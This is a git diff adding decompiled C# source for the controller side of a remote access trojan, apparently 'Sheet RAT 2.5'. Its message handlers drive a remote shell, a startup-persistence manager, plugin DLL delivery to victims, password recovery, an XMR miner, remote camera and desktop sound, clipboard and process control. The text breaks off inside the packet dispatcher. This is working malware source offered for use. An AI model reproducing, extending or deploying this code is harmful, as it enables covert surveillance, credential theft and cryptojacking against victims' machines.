PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.Drawing; +using System.Linq; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerScheduler +{ + public HandlerScheduler(Clients client, string[] Messages) + { + switch (Messages[1]) + { + case "Connect": + client.ID = Messages[2]; + FormTaskScheduler sheduler = (FormTaskScheduler) Application.OpenForms["SchedulerMenagment:" + client.ID]; + sheduler.Invoke((MethodInvoker) (() => + { + sheduler.Client = client; + FormTaskScheduler formTaskScheduler = sheduler; + formTaskScheduler.Text = $"{formTaskScheduler.Text}: {client.ID}"; + sheduler.timer1.Start(); + sheduler.Refresh(); + })); + client.Send((object) "Update"); + client.Send((object) "GetTasks<@>Root"); + break; + case "TaskShedulerTasks": + this.Tasks(client, Messages); + break; + case "TaskShedulerUpdate": + this.Update(client, Messages); + break; + } + } + + public void Update(Clients client, string[] Messages) + { + FormTaskScheduler sheduler = (FormTaskScheduler) Application.OpenForms["SchedulerMenagment:" + client.ID]; + sheduler.Invoke((MethodInvoker) (() => + { + sheduler.treeView1.Nodes.Clear(); + sheduler.BuildTree((IEnumerable) ((IEnumerable) Messages[2].Split(',')).ToList()); + })); + } + + public void Tasks(Clients client, string[] Messages) + { + FormTaskScheduler sheduler = (FormTaskScheduler) Application.OpenForms["SchedulerMenagment:" + client.ID]; + if (Messages[2] != "null") + { + List rowslist = new List(); + string message = Messages[2]; + char[] chArray = new char[1]{ ',' }; + foreach (string str in message.Split(chArray)) + { + string[] separator = new string[1]{ "<=>" }; + string[] strArray = str.Split(separator, StringSplitOptions.None); + DataGridViewRow dataGridViewRow = new DataGridViewRow(); + DataGridViewCellCollection cells1 = dataGridViewRow.Cells; + DataGridViewImageCell gridViewImageCell = new DataGridViewImageCell(); + gridViewImageCell.Value = (object) new Bitmap(sheduler.imageList1.Images[0], 30, 30); + gridViewImageCell.ImageLayout = DataGridViewImageCellLayout.Stretch; + cells1.Add((DataGridViewCell) gridViewImageCell); + DataGridViewCellCollection cells2 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell1 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell1.Value = (object) strArray[0]; + cells2.Add((DataGridViewCell) gridViewTextBoxCell1); + DataGridViewCellCollection cells3 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell2 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell2.Value = (object) strArray[1]; + cells3.Add((DataGridViewCell) gridViewTextBoxCell2); + DataGridViewCellCollection cells4 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell3 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell3.Value = (object) strArray[2]; + cells4.Add((DataGridViewCell) gridViewTextBoxCell3); + DataGridViewCellCollection cells5 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell4 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell4.Value = (object) strArray[3]; + cells5.Add((DataGridViewCell) gridViewTextBoxCell4); + DataGridViewCellCollection cells6 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell5 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell5.Value = (object) strArray[4]; + cells6.Add((DataGridViewCell) gridViewTextBoxCell5); + DataGridViewCellCollection cells7 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell6 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell6.Value = (object) strArray[5]; + cells7.Add((DataGridViewCell) gridViewTextBoxCell6); + DataGridViewCellCollection cells8 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell7 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell7.Value = (object) strArray[6]; + cells8.Add((DataGridViewCell) gridViewTextBoxCell7); + DataGridViewCellCollection cells9 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell8 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell8.Value = (object) strArray[7]; + cells9.Add((DataGridViewCell) gridViewTextBoxCell8); + rowslist.Add(dataGridViewRow); + } + sheduler.Invoke((MethodInvoker) (() => sheduler.metroGrid1.Rows.AddRange(rowslist.ToArray()))); + } + sheduler.treeView1.Enabled = true; + } +} +} diff --git a/Server/Server/Message/HandlerSendDll.cs b/Server/Server/Message/HandlerSendDll.cs new file mode 100644 index 0000000..ac7634a --- /dev/null +++ b/Server/Server/Message/HandlerSendDll.cs @@ -0,0 +1,33 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerSendDll +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Helper; +using System; +using System.Windows.Forms; +using System.Drawing; +using System.IO; + +//#nullable disable +namespace Server.Message { + +internal class HandlerSendDll +{ + public HandlerSendDll(Clients client, string[] Messages) + { + client.LastPiy = DateTime.Now; + foreach (string file in Directory.GetFiles("Plugins", "*.dll", SearchOption.TopDirectoryOnly)) + { + if (Messages[1] == Methods.GetChecksum(file)) + { + HandlerLogs handlerLogs = new HandlerLogs(client.Ip, "Send plugin: " + file, Color.Aqua); + client.Send((object) $"SaveInvoke<@>{Messages[1]}<@>{Convert.ToBase64String(File.ReadAllBytes(file))}"); + break; + } + } + } +} +} diff --git a/Server/Server/Message/HandlerServiceStatus.cs b/Server/Server/Message/HandlerServiceStatus.cs new file mode 100644 index 0000000..4f0ff22 --- /dev/null +++ b/Server/Server/Message/HandlerServiceStatus.cs @@ -0,0 +1,38 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerServiceStatus +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Collections; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerServiceStatus +{ + public HandlerServiceStatus(Clients client, string[] Messages) + { + FormService service = (FormService) Application.OpenForms["Service:" + client.ID]; + if (service == null) + client.Disconnected(); + else + service.Invoke((MethodInvoker) (() => + { + foreach (DataGridViewRow row in (IEnumerable) service.metroGrid1.Rows) + { + if ((string) row.Tag == Messages[0]) + { + row.Cells[3].Value = (object) Messages[1]; + break; + } + } + })); + } +} +} diff --git a/Server/Server/Message/HandlerServiceUpdate.cs b/Server/Server/Message/HandlerServiceUpdate.cs new file mode 100644 index 0000000..d7dd3f1 --- /dev/null +++ b/Server/Server/Message/HandlerServiceUpdate.cs @@ -0,0 +1,69 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerServiceUpdate +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.Text; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerServiceUpdate +{ + public HandlerServiceUpdate(Clients client, string[] Messages) + { + FormService service = (FormService) Application.OpenForms["Service:" + client.ID]; + if (service == null) + { + client.Disconnected(); + } + else + { + List licst = new List(); + string str1 = Encoding.UTF8.GetString(Convert.FromBase64String(Messages[1])); + string[] separator1 = new string[1]{ "<++>" }; + foreach (string str2 in str1.Split(separator1, StringSplitOptions.None)) + { + string[] separator2 = new string[1]{ "<@>" }; + string[] strArray = str2.Split(separator2, StringSplitOptions.None); + DataGridViewRow dataGridViewRow1 = new DataGridViewRow(); + dataGridViewRow1.Tag = (object) strArray[1]; + DataGridViewRow dataGridViewRow2 = dataGridViewRow1; + DataGridViewCellCollection cells1 = dataGridViewRow2.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell1 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell1.Value = (object) strArray[0]; + cells1.Add((DataGridViewCell) gridViewTextBoxCell1); + DataGridViewCellCollection cells2 = dataGridViewRow2.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell2 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell2.Value = (object) strArray[1]; + cells2.Add((DataGridViewCell) gridViewTextBoxCell2); + DataGridViewCellCollection cells3 = dataGridViewRow2.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell3 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell3.Value = (object) strArray[2]; + cells3.Add((DataGridViewCell) gridViewTextBoxCell3); + DataGridViewCellCollection cells4 = dataGridViewRow2.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell4 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell4.Value = (object) strArray[3]; + cells4.Add((DataGridViewCell) gridViewTextBoxCell4); + DataGridViewCellCollection cells5 = dataGridViewRow2.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell5 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell5.Value = (object) strArray[4]; + cells5.Add((DataGridViewCell) gridViewTextBoxCell5); + licst.Add(dataGridViewRow2); + } + service.Invoke((MethodInvoker) (() => + { + service.metroGrid1.Rows.Clear(); + service.metroGrid1.Rows.AddRange(licst.ToArray()); + })); + } + } +} +} diff --git a/Server/Server/Message/HandlerShell.cs b/Server/Server/Message/HandlerShell.cs new file mode 100644 index 0000000..1ebf8d7 --- /dev/null +++ b/Server/Server/Message/HandlerShell.cs @@ -0,0 +1,33 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerShell +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Text; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerShell +{ + public HandlerShell(Clients client, string[] Messages) + { + FormShell Shell = (FormShell) Application.OpenForms["Shell:" + client.ID]; + if (Shell == null) + client.Disconnected(); + else + Shell.Invoke((MethodInvoker) (() => + { + Shell.metroTextBox1.Text += Encoding.UTF8.GetString(Convert.FromBase64String(Messages[1])); + Shell.metroTextBox1.SelectionStart = Shell.metroTextBox1.Text.Length; + Shell.metroTextBox1.ScrollToCaret(); + })); + } +} +} diff --git a/Server/Server/Message/HandlerStartRecovery.cs b/Server/Server/Message/HandlerStartRecovery.cs new file mode 100644 index 0000000..bb9215f --- /dev/null +++ b/Server/Server/Message/HandlerStartRecovery.cs @@ -0,0 +1,22 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerStartRecovery +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using System.Drawing; + +//#nullable disable +namespace Server.Message { + +internal class HandlerStartRecovery +{ + public HandlerStartRecovery(Clients client, string[] Messages) + { + client.ID = Messages[1]; + client.thisisrecovery = true; + HandlerLogs handlerLogs = new HandlerLogs(client.Ip, "Password Recovery Start: " + Messages[1], Color.GreenYellow); + } +} +} diff --git a/Server/Server/Message/HandlerStartUpAdd.cs b/Server/Server/Message/HandlerStartUpAdd.cs new file mode 100644 index 0000000..c2a4f90 --- /dev/null +++ b/Server/Server/Message/HandlerStartUpAdd.cs @@ -0,0 +1,44 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerStartUpAdd +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerStartUpAdd +{ + public HandlerStartUpAdd(Clients client, string[] Messages) + { + FormAutoRun CT = (FormAutoRun) Application.OpenForms["AutoRun:" + client.ID]; + if (CT == null) + { + client.Disconnected(); + } + else + { + DataGridViewRow itemRow = new DataGridViewRow(); + DataGridViewCellCollection cells1 = itemRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell1 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell1.Value = (object) Messages[1]; + cells1.Add((DataGridViewCell) gridViewTextBoxCell1); + DataGridViewCellCollection cells2 = itemRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell2 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell2.Value = (object) Messages[2]; + cells2.Add((DataGridViewCell) gridViewTextBoxCell2); + DataGridViewCellCollection cells3 = itemRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell3 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell3.Value = (object) Messages[3]; + cells3.Add((DataGridViewCell) gridViewTextBoxCell3); + CT.Invoke((MethodInvoker) (() => CT.metroGrid1.Rows.Add(itemRow))); + } + } +} +} diff --git a/Server/Server/Message/HandlerStartUpDelet.cs b/Server/Server/Message/HandlerStartUpDelet.cs new file mode 100644 index 0000000..69ac6e2 --- /dev/null +++ b/Server/Server/Message/HandlerStartUpDelet.cs @@ -0,0 +1,69 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerStartUpDelet +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Collections; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerStartUpDelet +{ + public HandlerStartUpDelet(Clients client, string[] Messages) + { + FormAutoRun CT = (FormAutoRun) Application.OpenForms["AutoRun:" + client.ID]; + if (CT == null) + client.Disconnected(); + else if (Convert.ToBoolean(Messages[3])) + { + DataGridViewRow item = (DataGridViewRow) null; + foreach (DataGridViewRow row in (IEnumerable) CT.metroGrid1.Rows) + { + if ((string) row.Cells[1].Value == Messages[1] && (string) row.Cells[0].Value == Messages[2]) + { + item = row; + break; + } + } + CT.Invoke((MethodInvoker) (() => + { + if (item == null) + return; + CT.metroGrid1.Rows.Remove(item); + })); + } + else + { + DataGridViewRow item = (DataGridViewRow) null; + foreach (DataGridViewRow row in (IEnumerable) CT.metroGrid1.Rows) + { + if ((string) row.Cells[1].Value == Messages[1] && (string) row.Cells[0].Value == Messages[2]) + { + item = row; + break; + } + } + if (item == null) + return; + CT.Invoke((MethodInvoker) (() => item.DefaultCellStyle = new DataGridViewCellStyle() + { + Alignment = DataGridViewContentAlignment.MiddleLeft, + ForeColor = Color.Red, + SelectionForeColor = Color.Red, + Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel), + BackColor = Color.FromArgb(17, 17, 17), + SelectionBackColor = Color.FromArgb(17, 17, 17), + WrapMode = DataGridViewTriState.False + })); + } + } +} +} diff --git a/Server/Server/Message/HandlerStartUpUpdate.cs b/Server/Server/Message/HandlerStartUpUpdate.cs new file mode 100644 index 0000000..ed1a2b0 --- /dev/null +++ b/Server/Server/Message/HandlerStartUpUpdate.cs @@ -0,0 +1,177 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerStartUpUpdate +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerStartUpUpdate +{ + public HandlerStartUpUpdate(Clients client, string[] Messages) + { + FormAutoRun CT = (FormAutoRun) Application.OpenForms["AutoRun:" + client.ID]; + if (CT == null) + { + client.Disconnected(); + } + else + { + List licst = new List(); + if (Encoding.UTF8.GetString(Convert.FromBase64String(Messages[1])) != "null") + { + string str1 = Encoding.UTF8.GetString(Convert.FromBase64String(Messages[1])); + string[] separator = new string[1]{ "<++>" }; + foreach (string str2 in str1.Split(separator, StringSplitOptions.None)) + { + if (!string.IsNullOrEmpty(str2)) + { + string[] strArray = str2.Split(new string[1] + { + "," + }, StringSplitOptions.None); + DataGridViewRow dataGridViewRow = new DataGridViewRow(); + DataGridViewCellCollection cells1 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell1 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell1.Value = (object) "Current User"; + cells1.Add((DataGridViewCell) gridViewTextBoxCell1); + DataGridViewCellCollection cells2 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell2 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell2.Value = (object) strArray[0]; + cells2.Add((DataGridViewCell) gridViewTextBoxCell2); + DataGridViewCellCollection cells3 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell3 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell3.Value = (object) strArray[1]; + cells3.Add((DataGridViewCell) gridViewTextBoxCell3); + licst.Add(dataGridViewRow); + } + } + } + if (Encoding.UTF8.GetString(Convert.FromBase64String(Messages[2])) != "null") + { + string str3 = Encoding.UTF8.GetString(Convert.FromBase64String(Messages[2])); + string[] separator = new string[1]{ "<++>" }; + foreach (string str4 in str3.Split(separator, StringSplitOptions.None)) + { + if (!string.IsNullOrEmpty(str4)) + { + string[] strArray = str4.Split(new string[1] + { + "," + }, StringSplitOptions.None); + DataGridViewRow dataGridViewRow = new DataGridViewRow(); + DataGridViewCellCollection cells4 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell4 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell4.Value = (object) "Local Machine"; + cells4.Add((DataGridViewCell) gridViewTextBoxCell4); + DataGridViewCellCollection cells5 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell5 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell5.Value = (object) strArray[0]; + cells5.Add((DataGridViewCell) gridViewTextBoxCell5); + DataGridViewCellCollection cells6 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell6 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell6.Value = (object) strArray[1]; + cells6.Add((DataGridViewCell) gridViewTextBoxCell6); + licst.Add(dataGridViewRow); + } + } + } + if (Encoding.UTF8.GetString(Convert.FromBase64String(Messages[3])) != "null") + { + string str5 = Encoding.UTF8.GetString(Convert.FromBase64String(Messages[3])); + string[] separator = new string[1]{ "<++>" }; + foreach (string str6 in str5.Split(separator, StringSplitOptions.None)) + { + if (!string.IsNullOrEmpty(str6)) + { + string[] strArray = str6.Split(new string[1] + { + "," + }, StringSplitOptions.None); + DataGridViewRow dataGridViewRow = new DataGridViewRow(); + DataGridViewCellCollection cells7 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell7 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell7.Value = (object) "WOW64 32Node"; + cells7.Add((DataGridViewCell) gridViewTextBoxCell7); + DataGridViewCellCollection cells8 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell8 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell8.Value = (object) strArray[0]; + cells8.Add((DataGridViewCell) gridViewTextBoxCell8); + DataGridViewCellCollection cells9 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell9 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell9.Value = (object) strArray[1]; + cells9.Add((DataGridViewCell) gridViewTextBoxCell9); + licst.Add(dataGridViewRow); + } + } + } + if (Encoding.UTF8.GetString(Convert.FromBase64String(Messages[4])) != "null") + { + string str = Encoding.UTF8.GetString(Convert.FromBase64String(Messages[4])); + string[] separator = new string[1]{ "<++>" }; + foreach (string path in str.Split(separator, StringSplitOptions.None)) + { + if (!string.IsNullOrEmpty(path)) + { + DataGridViewRow dataGridViewRow = new DataGridViewRow(); + DataGridViewCellCollection cells10 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell10 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell10.Value = (object) "StartUp"; + cells10.Add((DataGridViewCell) gridViewTextBoxCell10); + DataGridViewCellCollection cells11 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell11 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell11.Value = (object) Path.GetFileName(path); + cells11.Add((DataGridViewCell) gridViewTextBoxCell11); + DataGridViewCellCollection cells12 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell12 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell12.Value = (object) path; + cells12.Add((DataGridViewCell) gridViewTextBoxCell12); + licst.Add(dataGridViewRow); + } + } + } + if (Encoding.UTF8.GetString(Convert.FromBase64String(Messages[5])) != "null") + { + string str = Encoding.UTF8.GetString(Convert.FromBase64String(Messages[5])); + string[] separator = new string[1]{ "<++>" }; + foreach (string path in str.Split(separator, StringSplitOptions.None)) + { + if (!string.IsNullOrEmpty(path)) + { + DataGridViewRow dataGridViewRow = new DataGridViewRow(); + DataGridViewCellCollection cells13 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell13 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell13.Value = (object) "UserInit"; + cells13.Add((DataGridViewCell) gridViewTextBoxCell13); + DataGridViewCellCollection cells14 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell14 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell14.Value = (object) Path.GetFileName(path); + cells14.Add((DataGridViewCell) gridViewTextBoxCell14); + DataGridViewCellCollection cells15 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell15 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell15.Value = (object) path; + cells15.Add((DataGridViewCell) gridViewTextBoxCell15); + licst.Add(dataGridViewRow); + } + } + } + CT.Invoke((MethodInvoker) (() => + { + CT.metroGrid1.Rows.Clear(); + CT.metroGrid1.Rows.AddRange(licst.ToArray()); + })); + licst.Clear(); + } + } +} +} diff --git a/Server/Server/Message/HandlerStatusMiner.cs b/Server/Server/Message/HandlerStatusMiner.cs new file mode 100644 index 0000000..82a9511 --- /dev/null +++ b/Server/Server/Message/HandlerStatusMiner.cs @@ -0,0 +1,36 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerStatusMiner +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using System; +using System.Windows.Forms; +using System.Drawing; + +//#nullable disable +namespace Server.Message { + +internal class HandlerStatusMiner +{ + public HandlerStatusMiner(Clients client, string[] Messages) + { + if (!Program.form.MinerActiveXmr) + { + client.Disconnected(); + } + else + { + client.LastPiy = DateTime.Now; + client.ItemMiner.Cells[2].Value = (object) Messages[1]; + client.ItemMiner.Cells[3].Value = (object) Messages[2]; + client.ItemMiner.Cells[2].Style.ForeColor = !(Messages[1] == "true") ? Color.Red : Color.Green; + if (Messages[2] == "true") + client.ItemMiner.Cells[3].Style.ForeColor = Color.Green; + else + client.ItemMiner.Cells[3].Style.ForeColor = Color.Red; + } + } +} +} diff --git a/Server/Server/Message/HandlerUploadConnect.cs b/Server/Server/Message/HandlerUploadConnect.cs new file mode 100644 index 0000000..add11a0 --- /dev/null +++ b/Server/Server/Message/HandlerUploadConnect.cs @@ -0,0 +1,32 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerUploadConnect +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerUploadConnect +{ + public HandlerUploadConnect(Clients client, string[] Messages) + { + client.ID = Messages[1]; + FormProgressBar CT = (FormProgressBar) Application.OpenForms[$"ManagerProgressBar:{client.ID}.{Messages[2]}"]; + if (CT == null) + client.Disconnected(); + else + CT.Invoke((MethodInvoker) (() => + { + CT.client = client; + CT.Init(); + })); + } +} +} diff --git a/Server/Server/Message/HandlerUploadEnd.cs b/Server/Server/Message/HandlerUploadEnd.cs new file mode 100644 index 0000000..0824bdb --- /dev/null +++ b/Server/Server/Message/HandlerUploadEnd.cs @@ -0,0 +1,27 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerUploadEnd +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerUploadEnd +{ + public HandlerUploadEnd(Clients client, string[] Messages) + { + FormProgressBar CT = (FormProgressBar) Application.OpenForms[$"ManagerProgressBar:{client.ID}.{Messages[1]}"]; + if (CT == null) + client.Disconnected(); + else + CT.Invoke((MethodInvoker) (() => CT.CloseCT())); + } +} +} diff --git a/Server/Server/Message/Packet.cs b/Server/Server/Message/Packet.cs new file mode 100644 index 0000000..df50919 --- /dev/null +++ b/Server/Server/Message/Packet.cs @@ -0,0 +1,305 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.Packet +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Helper; +using System; +using System.Windows.Forms; +using System.Text; + +//#nullable disable +namespace Server.Message { + +internal class Packet +{ + public static void Read(byte[] data, Clients client) + { + string[] strArray = Encoding.UTF8.GetString(Methods.Decompress(data)).Split(new string[1] + { + "<@>" + }, StringSplitOptions.None); + if (client == null) + { + CustomConsole.WriteLine(CustomConsole.Title.Information, "client == null"); + } + else + { + if (client.TcpClient == null) + { + CustomConsole.WriteLine(CustomConsole.Title.Information, "Client TcpClient == null"); + client.Disconnected(); + return; + } + if (client.thisisrecovery) + { + HandlerRecovery handlerRecovery = new HandlerRecovery(client, Methods.Decompress(data)); + return; + } + } + if (strArray[0] != "Ping" && strArray[0] != "Pong" && strArray[0] != "Connecting" && strArray[0] != "ConnectingPaste" && strArray[0] != "RefreshStatus") + CustomConsole.WriteLine(CustomConsole.Title.PacketGet, $"Get: {strArray[0]} {Methods.BytesToString((long) data.Length)} IP: {client.Ip}"); + string s = strArray[0]; + if (s == "UploadEnd") + { + HandlerUploadEnd handlerUploadEnd = new HandlerUploadEnd(client, strArray); + } + else if (s == "RecoveryNAudioDesktop") + { + HandlerDesktopRecovery handlerDesktopRecovery = new HandlerDesktopRecovery(client, strArray); + } + else if (s == "UploadConnect") + { + HandlerUploadConnect handlerUploadConnect = new HandlerUploadConnect(client, strArray); + } + else if (s == "StartUpUpdate") + { + HandlerStartUpUpdate handlerStartUpUpdate = new HandlerStartUpUpdate(client, strArray); + } + else if (s == "shell") + { + HandlerShell handlerShell = new HandlerShell(client, strArray); + } + else if (s == "NewProcesses") + { + HandlerProcesses handlerProcesses = new HandlerProcesses(client, strArray); + } + else if (s == "ClipboardConnect") + { + HandlerConnectClipboard connectClipboard = new HandlerConnectClipboard(client, strArray); + } + else if (s == "ConnectService") + { + HandlerConnectService handlerConnectService = new HandlerConnectService(client, strArray); + } + else if (s == "KillProcesses") + { + HandlerKillProcesses handlerKillProcesses = new HandlerKillProcesses(client, strArray); + } + else if (s == "ConnectRemoteCamera") + { + HandlerConnectRemoteCamera connectRemoteCamera = new HandlerConnectRemoteCamera(client, strArray); + } + else if (s == "Connecting") + { + HandlerConnecting handlerConnecting = new HandlerConnecting(client, strArray); + } + else if (s == "DeviceNAudio") + { + HandlerDeviceNAudio handlerDeviceNaudio = new HandlerDeviceNAudio(client, strArray); + } + else if (s == "Map") + { + HandlerMap handlerMap = new HandlerMap(client, strArray); + } + else if (s == "ConnectingPaste") + { + HandlerConnectingPaste handlerConnectingPaste = new HandlerConnectingPaste(client, strArray); + } + else if (s == "ConnectRemoteDesktopSound") + { + HandlerConnectRemoteDesktopSound remoteDesktopSound = new HandlerConnectRemoteDesktopSound(client, strArray); + } + else if (s == "ConnectManager") + { + HandlerConnectManager handlerConnectManager = new HandlerConnectManager(client, strArray); + } + else if (s == "Logs") + { + HandlerLog handlerLog = new HandlerLog(client, strArray); + } + else if (s == "StartUpDelet") + { + HandlerStartUpDelet handlerStartUpDelet = new HandlerStartUpDelet(client, strArray); + } + else if (s == "ManagerDrivers") + { + HandlerManagerDrivers handlerManagerDrivers = 